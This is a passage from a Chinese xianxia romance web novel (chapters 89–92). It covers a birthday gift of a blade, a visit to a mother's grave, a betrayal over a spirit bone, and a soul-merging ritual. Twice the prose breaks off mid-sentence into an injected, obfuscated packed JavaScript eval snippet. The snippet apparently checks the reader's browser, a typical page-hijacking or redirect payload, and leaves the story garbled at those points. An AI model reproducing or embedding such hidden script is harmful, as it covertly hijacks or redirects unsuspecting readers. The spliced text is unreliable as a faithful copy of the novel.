陆云笺将目光转向裴世,不动声色地答道:“那是自然。虽然据修真史所载,照灵鸟只不过是引渡亡魂的神鸟,并没有什么别的功用,但强劲纯粹的灵力可以做除此之外的许多事,自然谁都想要。” 裴世没再接话,陆云笺忽地有些担心他产生什么不妙的联想,于是道:“不过我觉得,石山中的聚魂阵不是仙门所绘。” 裴世的声音有些闷:“嗯,石山最初应当就是中空的,有人,或说有什么东西,在石壁上画下了聚魂阵,后来离开,石山内部又被石块填充完整。”他极尽所能将思绪限在此事,“绘阵的东西,是藏在山中?” “所以不可能是仙门。”陆云笺道,“只是有些奇怪,三百余年已过,照翎族的魂魄基本已经散尽,若是想要通过此举获取灵力,那可能性太小,成本也太高。” 裴世没有说话,周遭就此安静下来。 陆云笺听着马车轮碾过地面的声响,一瞬不瞬地望了一会儿坐在对面闭目养神的裴世,忽然道:“这剑还好吗?” 裴世睁开眼,瞥了一眼怀中的剑,没有察看的打算:“无事。” 陆云笺便没有再问第三遍,只是忽然没头没脑地道了一句: “如果可以……我送你一把刀做生辰礼,你觉得怎么样?” 89. 生辰礼 裴世没有明白陆云笺所说“如果可以”究竟是何意,这一句或许只是她的无心之语,但说者无意听者有心,因着陆云笺这一句,他便开始怀着隐秘的期待,默默地记着这个原本再普通不过的日子。 他心心念念地等着那把刀,一等就是三年。 修真界三年安然无恙,虽时常有小邪小祟兴风作浪,但仍称得上“风平浪静”。 平静的日子总是容易显得庸常,于是在又一个庸常的冬日,裴世收好书卷,准备入睡。此时已近子时,第二日一早还需去演武场,陆云笺已经几天不见人影,想来是有要事,时辰已晚,想来也不会再来。 裴世合上窗,凛冽的寒风忽然被尽数隔绝在外,屋内昏黄的灯与洋洋暖意让人睡意陡长。 他在窗前又坐了片刻,正欲起身,忽听窗棱上传来“笃笃”两声响,紧接着窗户被打开,寒风中,一张冻得微微发红的熟悉的面容出现在窗外。 陆云笺蹲在窗边,笑道:“我看你屋里灯还亮着,准备睡了么?” “没有,”裴世让出窗前一块空地,“打算再看会儿书。” 陆云笺微一躬身,熟门熟路地翻进屋,屋内暖意让她一时适应不能。她不喜穿戴厚重斗篷,风雪留下的冷气总要好一会儿才能消,裴世屋内没有御寒结界,也未曾放置炭火,此时他立在桌边,只能徒劳地将烛火拨亮几许。 陆云笺拍了拍被冻得有些发硬的衣摆:“你这屋里挺好,没有炭火味,不熏人。” 裴世道:“你怎么来了?” 陆云笺却答非所问:“既然你不急着睡,那我带你去一个地方如何?” 裴世犹豫片刻,还是道:“宵禁。” 虽说宵禁只是对绝大多数普通弟子的限制,云间世内长老与已经出师的修士都不受此限,更不用说陆云笺,可若旁人知道了,不免要多嘴多舌。 陆云笺道:“云间世万丈之上的结界较为薄弱,我带你混出去。”说着不待裴世回答,已经挥手灭了烛火,一道冰蓝剑光蹿至二人脚底,飞至窗外,霎时腾飞至万丈高空。 寒风萧萧,尽数被陆云笺施加的御寒结界隔绝在外。惟霜直载着二人冲过云间世的结界,才复又降至百丈空中。 裴世虽不曾练习过御剑术,但被陆云笺带着飞了几回,此时立在剑上,倒也稳当,还有工夫扫几眼脚下。时辰已晚,除云间世通天结界尚且金光璀璨外,绵延千百里,几乎都是一片沉寂的黑暗。 陆云笺立在惟霜剑前端,背上背的不知是何物,裴世扫了几眼,到底没有多问。 惟霜行得飞快,脚下万物匆匆流过,约莫行了一炷香,才缓缓降落在一片黑魆魆的山林之中。 方才在剑上,裴世瞥见林中有一点不甚起眼的微光,此时降落至地面,却见周遭皆是黑暗,没有一丝光亮。 陆云笺收了剑,没有多说,沿着脚下唯一一条小径往山林深处走,裴世心中疑惑,却也没有犹豫,当即跟上。走出一段,林木忽地稀疏不少,黑暗中光芒隐隐,绕过林木,忽见一道结界矗立前方。 结界是极明亮的紫色,灵力丰沛强劲,光芒流转不息,乍然一见,险些被晃住眼。 裴世一时怔然。 这还是他第一次见陆云笺使用如此强劲的结界,往日里她总是轻描淡写,对诸事都不甚上心,这样一道守护结界……护的会是什么? 站在结界之外,只可见结界内影影绰绰的灯火,似乎还隐约有人声,只是不甚清晰。 陆云笺没有多言,径直迈进结界。裴世原先还有些犹豫,试着迈了一步,竟毫无阻拦地穿过了屏障,再抬眼,结界之内的热闹景象便尽数展现在眼前。 时辰早晚与天气寒暖在这里仿佛不存在似的,三三两两的村民围坐在院中石桌旁,不知在忙活些什么。这处村庄不大,住户分布得也较为零散,统共也不过二十户,在寒风萧瑟的夜晚居然都坐在屋外谈天说地。 小小一个院子,灯火通明,比云间世元日时还要热闹不少。 裴世尚怔在原地,陆云笺已径直走到石桌旁,招呼道:“编了多少了?” 石桌旁一名女子抬起头来,见是她,便指着一旁的竹匾笑道:“晚上吃得晚,刚把草珠子择了大半呢,这会儿还没串多少。” 这名女子说着,一抬眼终于瞧见了站在结界边迟迟没动弹的裴世,笑道:“这就是你常跟我们说起的那个朋友啦?” 裴世回过神来,走上前去,尚不知如何称呼,便听这女子笑道:“人都叫我柳娘子,你跟着云笺叫我柳娘就好啦。” 这女子一头乌发在脑后随意盘了个髻,虽是一身粗布麻衣,却毫不显粗俗,袖子挽至手肘,很是干净利落,毫不拖泥带水,说话却热络,不仅并非不近人情,反倒极易让人生出亲切之感。 不待裴世唤,柳娘已上上下下、仔仔细细打量了他好几遍,摸着下巴若有所思:“这孩子看面相是挺善良一人,言行举止听着也是个老实人,长得好看,武功也好,不错不错。” 裴世不知自己“言”在哪儿“行”在哪儿“举止”又在哪儿,平生遇到这样热情的对待实属寥寥,因此又不知该说什么,只唤了一声:“柳娘。” “这孩子哪哪都好,就是太拘谨了些。既是云笺带回来的朋友,那便不要见外,你要愿意,往后常来我们这儿玩啊,别害羞。”柳娘颇含深意地拍了拍裴世,“我听云笺说,你叫小柿子?” 裴世蓦地转头望向陆云笺,见她正好整以暇地看着自己,有些气闷:“不……” 见他一脸不悦,柳娘笑道:“知道你叫裴世啦,逗你玩儿的。你是要跟我们在这儿编草珠子,还是跟云笺去后山玩儿?” 裴世一噎,心道:果真与陆云笺是旧识,此二人在某些方面还真是出奇一致。 陆云笺道:“你想编草珠子么?” 裴世瞥了一眼竹匾,里头盛了许多白中带青、圆润可爱的草珠,道:“这是什么?” 陆云笺道:“应当是叫白耳珠,用细铜丝一串,可以做耳坠,民间有些女孩子会这么戴。不过我们一般叫它草珠子,串起来挂在树梢或是屋门口,可以辟邪消灾、安神破魇什么的。草珠子不畏寒,十二月初最多,有些地方会专采草珠子编起来,拿去卖也是可以的。” 裴世的视线停在草珠上,似乎有些跃跃欲试的意思,但又有所顾虑,迟迟未动。 柳娘自然明白,道:“我们这草珠子还没择干净呢,你俩不是去后山有什么事儿吗?办完了再回来,我们这一时半会儿也编不完,明日要拿去卖的话,没准得通个宵。” 裴世疑道:“后山?” 后山离得远了些,位于陆云笺所设结界的边缘,但结界如此强劲,后山应当也不会有什么东西作怪才对。 陆云笺却道:“近几日来了只大鬼,村里有小孩儿到后山去玩儿,回来就生病,怎么也不见好。”她说着用胳膊肘一捅裴世,“怎么样,去练练手?” 裴世知道陆云笺和柳娘在打着什么主意,但却不能问,于是按住腰间佩剑,有些无奈地笑:“走吧。” 后山说近不近,说远却又并不遥远,因此二人没有御剑,一路奔至后山,也没有花费太多时间。 “我听说这只大鬼有几丈高,体型跟鬼魈差不多,你小心些。” 裴世拨开一大片枝叶,道:“就这么找?” “就在这片。”陆云笺道,“我白天来看过,放了追踪咒,不会有错。” 裴世有些疑惑地转头看了她一眼。只放了追踪咒,而非掘地三尺、斩草除根,这并非她的行事风格。 陆云笺对上他的目光,竖起一指抵在唇边:“嘘——” 脚下土地隐隐颤动,裴世蓦地转回目光,在突兀而诡异的寂静里,一只利爪忽地自 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空中无月,一切如墨一般浓黑,大鬼善于隐匿,裴世仅能听声辩位,身形却比大鬼更快,来往数个回合,刀光之间,鲜血喷溅,残骸掉落,在岑寂黑夜中,轰隆如巨石坠地。 大鬼的低低吼声彻底消失不见,林中静得仿佛落针可闻。 裴世接过陆云笺递来的刀鞘,先把刀上污血擦净,再收刀入鞘,而后低头在地上找着什么:“我的剑不见了。” “没事,”陆云笺道,“那剑早便不好使了,丢了也无妨。三年前我就许诺要给你做一把刀,不想找材料费了这么久,德昌行炼刀虽好,速度却慢,耽搁了这么久,好在今日还是赶上了。” 她说着,在裴世微微惊愕的目光中,笑得真心实意,极为难得:“裴世,生辰快乐。” “……” “赶在了第二天之前,还是你的生辰。这刀还好使吗?” 裴世低眸看向手中的刀,刀柄上的花纹因周遭太黑而不能看清,玄铁生寒,握在手中却很暖,甚至于有些烫,使他的筋骨血肉都渐渐地复苏。 裴世抬眸,回以陆云笺一个笑容,恍若冰雪消解、春水回流:“多谢。” 裴世解决大鬼不过一炷香不到,二人慢悠悠地下了山,陆云笺道:“奇怪,我怎么没有一点前些年你过生辰的印象了?莫不是少了几段时日?” 裴世将新刀佩在腰间,听陆云笺如此问,忽然有些不平:“莫说我的生辰,便是你自己的生辰,有一回你在哀牢,有一回你接了委托去除丧门煞,还有一回,清风阁阁主走火入魔,与妖魔勾结,你奉命去捉拿他,结果反倒自己中了招,还受了伤。” 陆云笺道:“这样么?我是一点儿也不记得了,只隐约记得清风阁阁主被妖魔反噬,皮肉一点一点剥落,有些恶心。那除夕元日呢?说好一起看焰火,怎么好像也没什么印象了?” “有一回你在哀牢待了足足一月半,有一回你奉命去了镜阳宗,还有一回,”裴世面色有些不悦,“你斩杀了几只妖兽,要用它们供养破月妖狼,结果破月躁动,于是你不得已闭关了七天。” “……”陆云笺有些无言,不想这几年过得如此乱七八糟,早知就不问了。 裴世似乎想再说些什么,但终究没再多说,二人一时默默,气氛有些冷。快要行至眉阳村时,陆云笺忽然道:“再去一次,我就不用再去哀牢了。” 裴世似乎低低地“嗯”了一声,别的却没有多说,显得这一句回应太过平静,即便平静之下,无数思绪纷杂交织。 快到眉阳村时,陆云笺忽然绕了道,带着裴世翻上了另一座山。那座山树木更为茂密,但因处在结界之内,并无妖魔气息,唯有安宁。 裴世跟在陆云笺身后,道:“去哪儿?” 陆云笺回头笑道:“忽然想起来,还有一个人,我想带你去见见。” 90. 梦初醒 树林静谧,分明无人声。 裴世心下疑惑,但也没有多问,只得跟上。 林间一片漆黑,陆云笺没有提灯,也没有燃符照明,但显然对这段路熟悉至极,以至于根本无需看路,脚步也不曾变缓。 行了不久,前方忽然亮起一豆灯光,尽管有些昏黄,并不太亮,但在一片黑暗中,仍然显得有些突兀。走近了,才发现那豆孤灯照亮的是一座坟冢,想来时常有人打理,没什么杂草,墓前还放着一碟较为新鲜的干果。 墓碑应当也有人时常擦拭,上头字迹清晰,没有来历,没有籍贯,没有生平,只刻了三字,想来是墓主人的名姓—— 周昔燕。 “眉阳之乱死了很多人,都埋在这一片。”陆云笺在墓前停步,躬身将碑上新落的草叶拂去,“这是我娘。” 裴世呼吸蓦地一滞,不由自主地想起三年前,九桥村的幻境中,那个血肉撕裂、尸骨无存的女子。陆云笺和她相貌很是相似,除却陆云笺那几分疏冷,温和与亲切与她如出一辙。 “……” 裴世走上前,可惜身上无物供奉,只得拜了三拜,而后立在陆云笺身旁。 陆云笺的声音很轻,像是怕吵醒什么人,尽管这片墓地多是衣冠冢:“我不怎么交朋友,不知娘亲见到你,会不会稍微开心一些。眉阳村是我的家,如果你愿意,往后也是你的家。” 她转过头来看着他,孤灯的微光映亮她的瞳眸,彻底掩盖了那几分疏冷与淡漠,多了些许说不清道不明的情绪:“这是我送你的第二个生辰礼。” 离灾劫的时间越来越近,这些年云间世与镜阳宗虽一直奔波于寻找照灵骨的下落,可到底机缘未至,不得其踪。 如今以四大神兽为基的断界阵已基本成型,虽没有寻齐四大神兽,但替代品的威力亦不容小觑。断界阵若开,就必须找到照灵骨,作为撕裂两个时空的媒介。 不出意外,献祭断界阵之后,他就会尸骨无存、灰飞烟灭。 这个总显得无甚情绪、沉默寡言,却仍然鲜活的人,不会再过下一个生辰了。 思及此,陆云笺心中忽地一刺。 此举仿佛是给一个将死之人塞去几分希望与光明,到底是有所安慰,还是更为残忍,她不知道。 只是忽然想,让他不要孤零零一个人走。 “你是不是有什么话要说?” 裴世忽然问了一句,将陆云笺的思绪扯了回来。 不知裴世唤了几遍自己才回过神,陆云笺少见地有些许慌张,而后迅速平静下来,似是随意地笑问道:“我么?只是忽然想起了魔王的诅咒。如果那个诅咒降临,修真界覆灭,你会怕吗?” “……怕?”裴世垂了眸,似在细细思忖,“会吧,因为还有要做的事不曾完成,而且……还有一不舍之人在这世上。” 裴世重新抬眸,正对上陆云笺的眼睛。 孤灯映亮她的眸光,他在那几乎不真实的璀璨与温暖里,骤然被晃住了眼。再回过神时,前半句竟已鬼使神差地脱口而出:“陆云笺,其实我……” 陆云笺就立在那里,不像往日一般略带些刻意地避开,只是静静地等着,等他说完,仿佛他在这世上,只能留下这最后一句话似的。 裴世仿佛被无意出口的赤裸直白的情感烫着了,蓦地转了话锋:“其实我觉得,你是个很好的人。” “是吗?”陆云笺笑起来,“确定不是我很会蒙人?你就被我蒙住了。”她说着便往眉阳村的方向走去,没有多作停留。 裴世没有立即跟上去,而是俯身摘了一朵地上生着的不知名白色小花,插进墓前一只小瓶里。 瓶里还有一束枯枝,花瓣枝叶早已落尽,辨不出来是什么。他没有将枯枝扔掉,只将白色小花插在旁边,寒冬孤灯下,白色花朵蒙上一层淡淡光晕,仿若旁边的枯枝也逢了春。 他抬头望向那个孑然一身、已渐渐行远的背影,抬手抚上胸口。 记不得是哪一次与陆云笺同去捉妖,回云间世的路上,无意间瞥见街边的首饰小摊,她许是心情好,便绕去摊前看。 街边小摊上卖的首饰自然不会是什么好物件,摊主见来人仪表不凡,却没瞧上街上任何一家金碧辉煌的首饰铺,偏偏到自己这简陋的铺子前来,也有些疑惑,一时没有出声。 陆云笺在摊子上挑挑拣拣,拣出了一串珠链,那珠链是白色珠子串成的,虽也是粗制滥造,却能在日光下散发出淡淡光辉,也算惹眼。 摊主见她挑着了这么一串,忙道:“小姐眼光真是顶顶好的,这一堆里头就这串是最好的了,旁的一银可以拿五串,这个少说也值五银呢,小姐若是喜欢,三银拿走也成。” 陆云笺只打量了那珠链几眼,道:“店家,我问一句,你们都是从哪儿进货的?” 裴世缓步走上前去,声音中带着些许难以置信:“……你喜欢这个?” 陆云笺放下手中的珠链,站起身:“就看看。” 没从摊主那儿得来想要的答案,陆云笺随手将珠链扔回小摊,又悠悠往前走。 裴世犹豫片刻,取了钱两将那串珠链买下,几步追上陆云笺,道:“我记得你说过,你曾有过一串这样的珠链,只是后来不慎遗失,一直没有找到?” 他动作很快,陆云笺并没有发现他将珠链买下了,只答道:“是。”她默然片刻,继续道,“是我母亲留给我的。还有一只银色的、以彩丝绣了双燕的锦囊,都找不到了。” “……” 那是他第一次听她提起她的母亲,也是平生第一次,在那个一贯轻松自若的人身上窥见落寞的影子。 裴世不知该说些什么,不过陆云笺片刻后便又笑起来:“但是我娘给的那条白玉珠链和这些货色自然不一样,那条珠链材质上佳,有驱邪避灾之效,只可惜其中一颗珠子上曾因意外多了一条裂缝,就像原本圆圆满满的月亮忽然裂开了一样。” 裴世不自觉地摩挲着藏在手中的珠链,仍是没有说话。 陆云笺寻了那么多年都没有寻到,他要如何才能寻到? 自那以后,他便常常奔走于往日从不会去的首饰铺与大商行,如此三年,一无所获。 某日得了云间世山脚下一家隶属于德昌行的商行即将举办拍卖会的消息,他便想混进会场去看一看。然而进了商行没走上几步,便见百宝架上放着一只珠光璀璨的宝盒,而宝盒里盛的,正是一条白玉珠链。 如此大商行里出售的自然不会是凡品,那宝盒放在高处,看不细致,裴世便叫掌柜取了那宝盒下来细看。 掌柜戴了副手套,小心翼翼应他的要求将白玉珠展示给他看。 裴世只觉呼吸都没了动静,终于在其中一颗玉珠上看到了一道细微裂痕—— 正正如一道霹雳横过满月。 他一时激动,一把抓住掌柜的手:“这白玉珠链,你从何处得的?” 掌柜自然不可能说实话,只将手抽出来,将白玉珠链仔仔细细地放回宝盒:“倒了不知多少手,公子若问这链子最初从何处来的,我也无从知晓了。” 裴世道:“多少钱两?” 掌柜道:“原本值得五千银,但被火烧过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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时隔九年,裴世仍是身无灵力,莫说是他,便是陆云笺,要诛杀这样一只鬼魈,不可不谓吃力。鬼魈变化多端、力有万钧,二人力有不逮,只稍一恍神,便是穿心断骨、鲜血喷涌。 惟霜剑直刺入鬼魈掌心,将它逼退数丈,一时不能再靠近二人。 裴世面色惨白,几乎神识涣散,恍惚间只能看见陆云笺抬手结阵,护住他的心脉,那道阵法倾注了她十成十的法力,是他从未见过的、极盛大耀眼的术法光芒。 血霎时便止住了,可心口洞穿的窟窿却仿佛钻进了缕缕湿热的风,提醒他,便是陆云笺十成十的灵力,也是回天乏术。 裴世勉强睁开眼,入目一片鲜红,是被鲜血染透的衣袍,其间似乎夹杂着萤火般的金光点点,他看不清,也不知道那是什么。 而天边那道逾丈的黑影如无数个梦魇中那般,仍竭力一步一步朝这边靠近。 鬼魈…… 他还来不及为父亲与母亲报仇,没想到就要如此轻易地死在它手上。 他只瞥了远处的黑影一眼,便勉力抬手去推陆云笺。 他不知道那鬼魈什么时候会再度发起攻击,但他知晓鬼魈嗜血暴虐、力能通天,若是…… 然而手还未能触到她,陆云笺便忽地起身,退了一步。紧接着便是一道亮至白炽的紫色灵光在他骨骼之间炸开,强盛灵力如灼热浪潮般扑将上来,一点一点侵蚀着他的血肉。 炫目灵光间,映照出陆云笺牵动灵光的苍白指尖。 91. 三尺寒 陆云笺在裴世心口打下治愈法咒,倾注了她十成十的灵力,然而血是止住了,可血肉之下,白骨泛着金色光芒,而那光芒正渐渐减弱,以至黯淡。 她蓦地起身,不由自主后退一步。 她忽地想起来,逆转时空前,一片断肢残躯中,嶙峋尸骨、零落血肉之间,那一段光芒微弱的碎骨,在一地血污与弥天阴雾中,那样黯淡,又那样耀眼。 那时的裴世,一个身无灵力、籍籍无名的小弟子,同无数人一样被妖魔屠杀分食,死后尸骨零落,以至于体内的照灵骨都再不能发挥效力,那时的他,算是什么呢? 至少是“人”,与无数惨死灾劫中的人一样,想必极尽痛苦绝望。 陆云笺死死盯住裴世裸露在外的白骨,金光渐趋微弱,她却下意识在指尖凝聚起灵力。 灵光渐盛,一明一暗,像一把双刃的刀,一刀一刀剜着她的血肉。 裴世的心脏被穿透,压制他体内照灵骨的封印也不复存在。 此时他尚还有一口气,照灵骨的金色光芒虽微弱,却还没有彻底消失,可若他死了,照灵骨或许就再也发挥不了效用了。 届时灾劫降临,没有照灵骨,大抵会重蹈逆转时空前的覆辙,血流漂杵,生灵涂炭。 而这一次,不会再有逆转时空的机会了。 为了防止照灵骨彻底失效,所以必须在他死前,强行将照灵骨取出来。 陆云笺闭上眼,脑中画面忽地闪至数月前,裴世刚过完生辰,她思绪纷乱,便前去怜生寺求了一签。 修仙之人不惧神鬼之事,陆云笺更是从来不信卜算之道,然而那日她将掉落在地的灵签拾起,见是一支空白无一字的签,心却蓦地一紧。 再抬眼,大殿已悄然改换了模样,立在面前的,赫然是一座东岳大帝像。 陆云笺知道这是怜生寺不曾对外开放的偏殿的景象,然而怜生寺佛门净地,偏殿却供着东岳大帝,不可不谓奇异。 但她无心去思索其中缘由,只抬眼望向那座威严神像。 她知晓这不过是幻境,但却没有打破,她想要一个答案,无论给她答案的是神,是佛,还是鬼怪妖魔。 她听见一个无限渺远、几乎不真实的声音问:“来者何人?” “云间世陆云笺,”陆云笺道,“有一事相询。” 四周黑暗无极,没有半个人影。 那个声音默然许久,而后道:“何事相询?” “为救千万人而杀一人,是对,还是错?” 陆云笺紧紧闭着眼,指尖默默绘着阵法图案。 这阵法是构成断界阵的一部分,她在心中已经琢磨了无数遍,比任何一个阵法都要更为熟悉。 正如她将裴世的生辰八字融入断界阵以压制照灵骨躁动、发挥他体内照灵骨的效用,因此将他的生辰记得再清楚不过。 因为他体内有照灵骨,而照灵骨是撕裂时空、阻止灾劫的必需武器,所以他必须为了千万人、为了茫茫众生,奉献性命,尸骨无存。 因为他可以救人,所以他必须救人,所以他不能为自己而活。 陆云笺蓦地睁眼,刺目紫光脱手而出,以极快的速度吞噬着裴世的血肉。 血肉之下森森白骨逐渐裸露,光芒也渐趋强盛,再无消逝之兆。 是对,还是错? 她看见裴世极痛之下的惊愕与绝望,那副她从未见过的神情,正刺中她双目。 为防他竭力反抗,这一道阵法,压制照灵骨躁动的同时原也可以短暂压制照灵骨的灵力,可不知为何,那一瞬裴世掌中爆发出的强盛金光,几乎盖过了照灵骨本身,映得半边天空都刺目不堪。 灵力消止的一瞬间,陆云笺抬眼,瞥见了那把掉落在地、断成几截的刀。 刀上染着淋漓鲜血,刀柄上刻的圆滚滚的柿子,竟显得十分鲜艳。 陆云笺被那抹鲜艳的色彩刺得一痛,撇过目光,没有注意到断裂的刀身旁,有什么莹白如光点的事物,蓦地碎了一地、滚了一地。 陆云笺没有去看裴世,也没有施法止住腹部汩汩涌出的血,只抬手结阵,用最后的灵力,将自己传送回云间世。 无论是云间世自身的结界,还是最强防御结界圣清结界,抑或是正趋完整的撕裂时空的断界阵,任何一个,都足以扭曲传送阵。传送阵一消解,陆云笺便立即召来惟霜剑,直从万丈高空降落在云间世主山山顶。 中孚殿前神树终年不凋,细碎的白色花朵在陆云笺眼中成了一片模糊空茫的白,她勉力走上长阶,推开中孚大殿的门。 殿内只一人,是陆稷。 陆云笺上前,原只想中规中矩地行一礼,脚步却不稳,先一步单膝跪倒在地。 她眼前阵阵发黑,已经视物不清,甚至不能辨出陆稷是何反应,心中痛楚与纷乱并生,只凭本能道:“关于启用照灵骨撕开时空裂缝的断界阵法,我已有所得,只需加以完善,即可撕裂时空。” 陆云笺没有等纸笔,只用手指沾了血,在中孚大殿地上一笔一画绘着,仿佛晚一步,就再来不及。 她没有时间再去思索取出裴世体内的照灵骨为何会失败,只将自己所知的都尽数绘制下来,不知对错,也不想再问对错。 绘完,收回指尖,模糊间看见地上一团盘绕复杂的痕迹,她忽然觉得很是荒唐,很是茫然。 她从始至终都没有抬眼去看陆稷,所见最后一眼,是中孚大殿尽头的云间世尊主之位,高高在上,俯视众生。 中孚大殿宏伟依旧,神树根深枝茂、上可参天,云间世的万丈结界光明璀璨,足以驱散所有低阶妖魔野兽的灵气蔓延数里,护佑这一方天地。 仲夏之间,万物焕发生机,世间平和安宁。 倘若魔王设下的灾劫终将突破压制再度临世,不知这一回,世间可还能保住这一方河清海晏、太平安乐吗? 不过什么灭世灾劫,什么太平世间…… 她都再也看不见了。 陆稷瞥了一眼地上错综复杂的阵法,又瞥了一眼血泊中的陆云笺,思索不过片刻,便蹲身抬手,将灵力打入陆云笺心脉。 丰沛强劲的灵力涌入陆云笺体内,堪堪吊住她一口气,将她的魂魄以及破月妖狼的碎魂,尽数锁在她体内。 陆稷没有再看地上的阵法,以最快的速度将陆云笺送往石室。石室之内密不透风,半点灵气都流不出去,遑论魂魄。 来不及思索太久,陆稷召来银鹰卫,吩咐道:“速往德昌行,唤炼器阁阁主前来见我。” 银鹰卫领命退下,不多时,带来一名长袍曳地的男子,正是德昌行炼器阁阁主。 德昌行炼器阁阁主与云间世也打过不少回交道,见着陆稷,原想客套几句套套近乎,却不料陆稷只瞥了他一眼,便冷声道:“把她体内的妖狼碎魂给我一片不落地取出来,若是不能拼合完整,便加以炼化,将妖狼所守的匕首炼出来。” 炼器阁阁主只好闭嘴,顺着他的指示去看,只见石床之上躺着一只魂魄,肉身不知去了何处,那魂魄裂作两半,分裂得太过厉害,以致看不清面目,只能堪堪辨出是个女子。 那两半魂魄之间夹杂着紫光点点,的确像是碎裂的妖狼魂魄。 炼器阁阁主神色复杂地收回目光,道:“陆尊主,这魂魄没有肉身,即便现在有尊主的结界护着,仍有逸散的风险……” 陆稷冷笑道:“你认不出这魂魄是何人,所以怕惹上麻烦?” 炼器阁阁主原本冷白的肤色唰地一下险些成了死白,连忙跪下,颤声道:“小人不敢!只是……” 陆稷道:“你无需管她是何人,也无需管她是死是活,只需依照我的指令行事。此事若成,我给你十万金,无需经德昌行之手。” 炼器阁阁主蓦地抬头:“十、十万金?!” 他又抬眼去看石床上的那个魂魄,分明不过一个常人的魂魄,竟值得十万金? 炼器阁阁主轻轻呼出一口气,再度俯首:“小人谨遵陆尊主之命。他日若再见此类魂魄,也定当第一时间送与陆尊主之手。” 陆稷道:“那便开始吧。” 炼器阁阁主起身,跪坐在石床旁,曳地长发与衣袍在地上铺成一朵妖艳重瓣花,他只轻轻一抬指尖,灵力所化的炼化池便在地面铺展开来。 炼器阁阁主道:“陆尊主,此人魂魄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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另一个截然不同的、车水马龙的人间,忽地涌入眼帘。 飘荡的一半魂魄受到另一个时空的躯体的感召,竟忽然之间在川流不息的人群中,看见了躺在一片苍白死寂里的另一个自己。 在奔往另一个自己的前一刻,那一半奔逃的魂魄像是忽然拥有了一瞬清明神识,回头看向裂隙另一侧,原本属于自己的修真界。 然而什么都再看不见…… 什么巍峨青山、缥缈雾气、浩荡修真界,想杀自己的人,自己下了杀手的人,都再看不见。 也看不见,那个被穿心断骨、浑身是血的小弟子,正孑然一身,一步一步踏上云间世山门前的石阶。 血流不止,顺着他的脚步,在他身后拖出长长一条线。 万事万物俱是死寂,唯有自他房中奔出来的那几人的嬉笑喧嚷声声锥心—— “你们瞧,我还当他平日里写写画画什么呢,原来是——” “他术法考核次次为零,居然想自创法术?” “他莫不是真以为攀上了陆小姐,自己就也是修士翘楚了?” 裴世与他们相隔甚远,他们没有察觉到他的目光,他也只是静默地看着他们嬉笑打闹。 什么都听不见了。 只能看见自己手中绽出万丈光芒,他没有去思考那是什么,只下意识飞身而上,而后那只凝聚着金色光芒的手,干脆利落地穿透了其中一名弟子的肩膀。 他抽回手,闻见鼻尖甜腻的血腥气,瞥见一张张被揉皱、又被溅上鲜血的纸张,飘然落地,随风而去。 有人冲上来,拉开了他,他任人摆布,像个空心木偶人一般垂手站着。 是谁?是谁都不重要…… 什么都看不清,什么都听不清…… 直到山顶响起旷远的钟声,自山顶恢宏的中孚大殿,传来了云间世尊主之女陆云笺重伤闭关的消息。 神识骤然清明,裴世抬眼望过去,却只能见巍峨青山与缥缈雾气。 他忽然扯出一个笑容。 并不是很好看的笑容,只是以此,祭那多年,荒唐可笑的岁月。 92. 此心明 合魂法阵一经启动便再无后悔余地,众人注入灵力启动法阵后,便都无需再用灵力维持阵法,只待合魂完成,等陆云笺醒来。 妄尘于法阵正中护住因魂魄融合而昏迷不醒的陆云笺,季衡、季瑶、贺江年守在阵法边缘,防止变故突生。 今日到底是除夕,云鹤与贺昀不能参与开启合魂法阵,便带着燕燕外出采买,准备新年所需物什。 屋内屋外一片静寂,仿佛飘飘落雪声都清晰可闻。 不知过了多久,在万物沉寂的静默里,季瑶忽地抬头望向屋门:“什么声音?” 众人闻言,都顺着她的目光望去,只能听见微微寒风挤进屋门缝隙的细微动静,以及微不可察的沙沙声。而后那道沙沙声忽地停住了,三人未曾开口,只默契地召出各自的佩剑,微微侧身,蓄势待发。 季衡微侧过脸,对季瑶、贺江年微微点头示意,而后猛地掷出一道灵光—— 铿然一声,灵光如有实体,与从屋门缝隙处刺来的一道银光正正相撞,银光刹那溃散,然而溃散的银光却又各自化作数道利刃,直朝合魂阵而来! 季衡眼疾手快地放出一道结界护住合魂阵,季瑶与贺江年各自以佩剑格挡—— 可无论击溃袭来的银光多少回,这些银光仍会幻化出更多利刃,不知疲倦地朝着合魂阵以及守着合魂阵的众人袭来。 众人待在季衡设下的结界之内,暂时避过了利刃的攻击,却眼见着利刃越聚越多,在结界之外围成了一道坚不可摧的银色屏障。 贺江年目瞪口呆:“这什么变态东西……怎么越打越多?待会儿不会直接冲进来吧?” 季瑶抬手抵住结界,青碧色的结界蓦地一亮,外头的利刃却也因被灵光反弹而又幻化出数倍,层层叠叠,几乎密不透风。 季衡维持着结界,并未转头:“江年,你用通讯符联系裴世,看他能不能从外面……” 未及说完,忽听四周叮叮当当响成一片,一道银光飞旋过利刃铸成的屏障,电光火石间,尖刀利刃都刹那溃散消解! 正掏通讯符的贺江年蓦地住了手,而后近乎僵硬地缓慢转回头——那道击溃利刃屏障的银光所来之处。 却见陆云笺不知何时已经醒来,此时正坐在合魂阵中央,一动不动地盯着屋门。见三人都回转头看她,便收回目光,报以一个微笑。 还是那个紫衣带笑、眉眼弯弯的人,几个时辰前还与众人道了别。 此时再见,还是那副温和亲切的笑容,忐忑忧虑却都不见了,带回来了几年前那个与众人尚不相熟的云间世陆小姐的几分与生俱来的疏冷。 季衡与季瑶勉强扯了扯嘴角,话到嘴边又咽了回去。 倒是贺江年没发觉什么不对劲,忙上前道:“太好了,合魂阵没出错!云笺,你现在觉着怎么样?有没有哪里不舒服?” 陆云笺静静地在法阵中央坐了片刻,而后笑道:“还成吧,就是头有些疼,而且还有一部分记忆处于空白,大概停留在……受伤前的那段时间,闭关前后的什么都想不起来了。” 她说完,抬眸正对上季衡的视线,于是道:“季衡哥,”又转向季瑶,“季瑶,江年,多谢你们了。” 